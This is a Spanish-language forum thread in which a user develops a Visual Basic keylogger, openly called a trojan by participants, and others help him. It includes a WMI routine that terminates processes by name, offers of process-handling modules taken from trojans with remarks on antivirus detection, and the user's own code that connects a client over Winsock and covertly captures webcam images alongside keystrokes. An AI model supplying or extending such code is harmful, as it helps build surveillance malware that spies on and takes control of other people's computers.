keylogger visual basic

[elguast]

buenas noches gracias a todos por contestar 

saludos.

[elguast]

quiero que mi cliente me muestre los procesos del administrador de tareas  de el servidor..como?

[seba123neo]

si queres te hacemos el troyano desde 0 y vos le pones los controles nomas...

[elguast]

pues seba123neo seria lo mejor no  asin no pienso yo tanto no.. 
es broma no te enfades hombre..
lo que queria preguntar era con que funcion seria para ver los procesos,no preguntaba como se hace ni como hay que poner el code ni donde.

    saludos...

[seba123neo]

bueno si es asi si, busca sobre la api llamada CreateToolhelp32Snapshot o la mas conocida EnumProcesses,o hasta con WMI lo podes hacer...en internet hay varios ejemplos de esto, sino bajate el api-guide ahi tenes ejemplos ya creados de todas las api's...

saludos.

[‭‭‭‭jackl007]

mira, esta funcion se encaarga de finalizar un proceso especifico, para esto hace una lista de los procesos, y va comparando uno a uno, si en caso es el solicitado lo finaliza.
Ahora tu encargate de meterlo eso a una cadena y luego recuperas los valores con split; es bien facil; ya no lo hago para que mas que sea hagas algo.

Si no sabes como hacerlo, te recomiendo que leas un BUEN MANUAL DE VISUAL BASIC antes de empezar a querer hacer un software.
De paso busca manuales y ejercicios de algoritmos, te servira mucho.
byes

Código (vb) [Seleccionar] Expandir

Public Sub KillProcess(ByVal processName As String)
'---CAPTURA DE ERROR---
On Error GoTo ErrHandler
'----------------------
'---DECLARACIÓN DE VARIABLES---
    Dim oWMI
    Dim ret
    Dim sService
    Dim oWMIServices
    Dim oWMIService
    Dim oServices
    Dim oService
    Dim servicename
'------------------------------

'--------------------SE OBTIENEN OBJETOS--------------------
    Set oWMI = GetObject("winmgmts:")
    Set oServices = oWMI.InstancesOf("win32_process")
'-----------------------------------------------------------

'----------------------BUSCA EL PROCESO---------------------
    For Each oService In oServices

        servicename = LCase(Trim(CStr(oService.Name) & ""))

        If InStr(1, servicename, _
            LCase(processName), vbTextCompare) > 0 Then
            ret = oService.Terminate
        End If

    Next
'-----------------------------------------------------------

'---------SE HACE NADA---------
    Set oServices = Nothing
    Set oWMI = Nothing
'------------------------------

'---CAPTURA DE ERROR----
ErrHandler:
    Err.Clear
'-----------------------
End Sub


PD: la funcion no la hize yo, no recuerdo el autor.

[ricardovinzo]

aqui te dejo unos modulos (2) sobre eso.. uno usa puro APIs (es mejor mas avanzado, aunque hay APIs de ese modulo que son detectadas) y el otro usa WMI, este modulo esta como en tres foros del internet yo lo saco de la fuente original no son mios..

mLitleProcManager para trabajar con procesos...
Modulo para procesos mProcessManager

y mas tarde ( para rematar ) te subo un modulo para manejar procesos o mejor dos, uno de un troyano y otro de otroxD..
Espero te sirvan de ejemplo!

[gulabyte]

Creo que te has ido un poco del tema "elguast", si quieres preguntar sobre otra cosa ponlo en otro tema simplemente.

Podrías usa los comandos de la shell: "tasklist" para listar lo procesos y "taskkill" para matarlos... es mucho mas simple aunque mas chapuzero...

Salu10

[elguast]

buenos dias mirar pongo mi keylogger me va de maravilla pero cuando pongo este codigo para capturar la imagen de la cam me entonces las teclas pulsadas si escribo un poco deprisa no las veo esto lo he puesto en el form_load:

Command1.Caption = "Conectar"
Text1.Text = "127.0.0.1"
If Command1.Caption = "Conectar" Then
Winsock1.CONNECT Text1, CInt(Text2)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer2.Enabled = True
Command1.Caption = "Desconectar"
Else
Timer2.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
Me.Caption = "Desconectado"
Command1.Caption = "Conectar"
End If

se que es por estas dos lineas:
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
como lo arreglaria